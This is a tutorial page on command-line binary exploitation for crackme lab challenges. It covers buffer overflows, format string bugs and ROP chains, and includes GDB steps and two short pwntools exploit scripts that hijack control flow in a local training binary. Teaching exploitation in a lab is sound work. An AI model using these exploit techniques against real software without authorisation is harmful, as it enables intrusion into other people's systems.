CLI Binary Exploitation Techniques

Master advanced binary exploitation techniques using command-line tools including buffer overflows, format string vulnerabilities, and Return-Oriented Programming (ROP) for crackme challenges.

Learning Objectives

Compatibility Note: Live debugging and exploitation exercises may not work on Apple Silicon (M1/M2/M3) due to emulation limitations. Static analysis and exploit theory remain fully applicable.

Understand stack-based buffer overflows using CLI tools

Exploit format string vulnerabilities with command-line debugging

Build ROP chains using CLI gadget finders

Buffer Overflow

Occurs when input exceeds a buffer's capacity, overwriting adjacent memory including return addresses. Vulnerable functions include gets and strcpy.

Format String Vulnerability

Using printf(input) without format specifiers allows attackers to read/write memory by crafting input like %x or %n.

Return-Oriented Programming (ROP)

ROP chains use existing code snippets ("gadgets") to execute functions when the stack is non-executable (NX). Gadgets like pop rdi; ret set function arguments.

CLI Exploitation Tools

objdump

Find function addresses and analyze code

GDB + GEF

Debug exploits and find offsets

pwntools

Python library for crafting exploits

ROPgadget

Find ROP gadgets in binaries

Practical Exercise

1. Setup

# Start the Docker container
docker-compose up -d
docker-compose exec sec-env bash

# Navigate to workspace and examine the binary
cd /workspace
file static/example2
strings static/example2

Apple Silicon Limitation: GDB debugging and exploit development may not work properly on Apple Silicon (M1/M2/M3) devices due to x86_64 emulation limitations. Static analysis tools and exploit theory will still be applicable.

2. Analyze the Binary

# Get file information
file static/example2

# View strings to find interesting functions
strings static/example2

# Disassemble to find vulnerable functions
objdump -d static/example2 | grep -A 20 "<vuln>:"
objdump -d static/example2 | grep -A 20 "<win>:"

# Check for security features
checksec static/example2  # if available
readelf -a static/example2 | grep -i security

Vulnerability: Look for calls to gets or strcpy without bounds checking.

3. Buffer Overflow Exploitation

# Start GDB with GEF
gdb static/example2

# Set breakpoint at vulnerable function
(gdb) break vuln
(gdb) run

# When prompted, send a pattern to find offset
(gdb) pattern create 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# Send the pattern and observe crash
(gdb) continue

# Find the offset
(gdb) pattern offset $rsp
# or
(gdb) pattern offset [crash_address]
#!/usr/bin/env python3
from pwn import *

# Set up the context
context.arch = 'amd64'
context.os = 'linux'

# Create the process
p = process('./static/example2')

# Find the offset (example: 24 bytes)
offset = 24

# Create payload
payload = b"A" * offset
payload += p64(0x401196)  # Address of win function (found with objdump)

# Send payload
p.sendline(payload)

# Get response
response = p.recvall()
print(response.decode())

4. Format String Exploitation

# Test format string vulnerability
echo "%x %x %x %x %x %x %x %x" | ./static/example2

# Use GDB to analyze format string
gdb static/example2
(gdb) break printf
(gdb) run
(gdb) x/10x $rsp  # Examine stack

Format string vulnerabilities allow reading memory and potentially writing to memory using %n.

5. ROP Chain Building

# Find ROP gadgets
ROPgadget --binary static/example2

# Find specific gadgets
ROPgadget --binary static/example2 --only "pop|ret"
ROPgadget --binary static/example2 --only "pop rdi|ret"

# Find function addresses
objdump -t static/example2 | grep win
objdump -t static/example2 | grep system
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

p = process('./static/example2')

# ROP chain components
pop_rdi = 0x4011a3  # pop rdi; ret
win_addr = 0x401196  # win function address

# Build payload
payload = b"A" * 24  # offset
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)  # argument
payload += p64(win_addr)

p.sendline(payload)
print(p.recvall().decode())

Practice Exercises

Buffer Overflow

Use GDB to find the exact offset and craft a working exploit.

Format String

Use format strings to leak memory addresses and bypass ASLR.

ROP Chain

Build a ROP chain to call functions with specific arguments.

Shellcode

Create shellcode payloads using pwntools for different architectures.

Key Takeaways

CLI tools like objdump and GDB are essential for finding vulnerabilities and crafting exploits

pwntools provides powerful Python libraries for exploit development and automation

ROPgadget helps find useful code snippets for building ROP chains

Further Reading